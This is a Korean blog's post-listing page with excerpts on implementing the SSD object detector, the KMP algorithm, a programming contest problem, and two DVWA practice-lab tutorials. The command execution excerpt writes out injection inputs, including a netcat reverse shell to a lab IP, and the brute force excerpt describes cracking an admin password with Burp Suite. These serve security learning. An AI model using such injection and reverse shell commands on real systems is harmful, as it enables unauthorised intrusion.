본문 바로가기

분류 전체보기178

[논문 구현] SSD: Single Shot MultiBox Detector 로스 구현 우선 이 전에 만든 AnchorBox 레이어는 제거해 주도록 하겠습니다. 로스를 계산할 때 필요할 줄 알았는데 로스를 계산할 때가 아니라 데이터 전처리 단계에서 진행하는 것이 훨씬 좋을 것 같네요. 각각의 anchorbox마다 양성인지 아닌지, 양성이면 어떤 객체인지 IOU를 기반으로 전부 작성해 주고 loss를 계산해 줍니다. 이제 로스를 구현해 보겠습니다.논문에서는 smoothL1 로스를 사용했습니다. 로스는 다음과 같이 생겼습니다. -0.5 ~ 0.5까지는 $\frac {x^2}{2}$, 나머지는 $\left\vert x \right\vert - 0.5$ 를 사용합니다. 모든 곳에서 미분 가능하게 하기 위해서인 것 같습니다.아래와 같이 계산합니다. tf.를 사용해 줘야 나중에 학습이 가능합니다. 그.. 2024. 7. 28.
dvwa Command Execution command execution은 운영체제 명령을 실행할 수 있는 취약점을 말합니다. 이주 직관적인 예시가 dvwa에 있습니다.dvwa를 켜고 command execution으로 가줍니다. ping ip를 입력하라고 합니다. 여기에 8.8.8.8을 넣어줍니다. ping {입력}을 하는 명령인 것 같습니다. 그럼 여기에 8.8.8.8;ls를 넣어줍시다.  아래쪽에 현재 위치의 파일 목록을 보여줍니다.8.8.8.8;ifconfig를 입력하면 ip를 보여줍니다. 이제 리버스 쉘 공격을 해봅시다. 먼저 칼리 리눅스에서 nc -nlvp 7777를 실행해 포트를 열어둡니다. 그리고 8.8.8.8;nc -nv 172.30.1.58 7778 -e /bin/sh를 입력합니다.  아무것도 실행이 안되는 것을 보니 -e 옵.. 2024. 7. 27.
27933 - 대회 이름 정하기 step 1더보기카드를 고를 수 있는 구간이 정해졌다고 해봅시다. 그럼 그 구간에는 K들과 Y들이 번갈아가며 있습니다. 각 선수들이 최선을 다해 플레이를 한다면 각 구간 안에서 가장 큰 값을 가져갈 것입니다. step 2더보기연속한 K와 Y를 K묶음, Y묶음으로 표현하겠습니다. 만약 카드를 고를 수 있는 구간 안에 묶음이 포함된다면 그 묶음 안의 최댓값만 알고 있으면 됩니다. 다른 카드는 절대 고르지 않을 것이니까요. 그럼 묶음의 일부만 포함된다면 어떻게 될까요? 우선 묶음의 가운데가 포함된다면 답은 YK 0입니다. 어차피 둘 다 아무것도 고르지 못합니다.그럼 오른쪽이나 왼쪽이 포함되는 경우를 생각해 봅시다. 그럼 포함되는 영역 중 최댓값을 뽑을 것입니다. 그럼 각 위치마다내 묶음의 왼쪽에 있는 값 중 .. 2024. 7. 25.
[논문 구현] SSD: Single Shot MultiBox Detector 모델 구현 이제 SSD를 구현해 보겠습니다. 저는 이미지를 받으면 트럼프 카드의 위치와 카드의 색(빨강, 검정)을 찾아주는 인공지능을 만들 것입니다.  논문에서는 vgg-16을 Conv5_3 레이어까지 가져왔습니다. 아래 그림에서 D에 해당하는 부분입니다. 이 부분 먼저 구현해 보겠습니다. 여기서 he_normal은 가중치를 초기화 해 주는 방법 중 하나입니다. kernel_regularizer은 커널의 가중치가 너무 커지는 것을 막기 위한 것입니다. 해당 모델의 summary를 출력해 봅니다. 이 뒤 부분도 진행해 줍니다. 다행히 논문과 같은 구조가 나왔습니다. 이제 각 클래스 별 confidence와 위치를 가져올 것입니다. 이 값들은 c4_3, c7, c8_2, c9_2, c10_2, c11_2에서 Conv2.. 2024. 7. 24.
KMP 어떤 문자열(이하 text)에서 특정 문자열(이하 pattern)이 있는지 판단하는 문제가 있다 합시다(https://www.acmicpc.net/problem/1786). text의 길이를 $N$, pattern의 길이를 $M$이라 하면 단순 비교로 할 때 $O(NM)$의 시간이 걸립니다. 이를 $O(N+M)$으로 만들어 주는 것이 KMP(Knuth-Morris-Pratt Algorithm)입니다.방법단순 비교로 하면 $O(NM)$이 걸린다고 했었죠. KMP는 이 알고리즘에서 불필요한 과정을 제거했습니다. 위 과정을 보면 aaaaaa 부분은 더이상 안봐도 될 것 같은데 계속해서 검사해 주고 있습니다. 이 부분을 줄이기 위해서는 fail function에 대해 알아야 합니다.fail functionfai.. 2024. 7. 23.
dvwa brute force brute force는 모든 데이터를 다 집어넣는 공격 방식입니다.dvwa를 켜고 brute force 탭으로 들어갑니다. admin이라는 계정의 비밀번호를 탈취해 볼 것입니다. 아이디에 admin, 비밀번호에 아무꺼나 넣고 로그인해 봅시다.저는 그럴듯한 비밀번호를 계속 넣어볼 것입니다. 근데 손으로 하면 힘드니 burpsuite라는 프로그램을 이용해 볼 것입니다.터미널을 열고 burfsuite를 입력해 줍니다.그렇게 설치하면 다음 화면이 나옵니다. 프록시를 열어 줄 것입니다. proxy - proxy setting으로 갑니다.127.0.0.1:8080의 포트를 1234로 바꿔 줄 것입니다. edit을 누르고 port에 1234를 입력합니다. 이러면 1234포트에 프록시를 여는 데까지 성공했습니다. 파이.. 2024. 7. 21.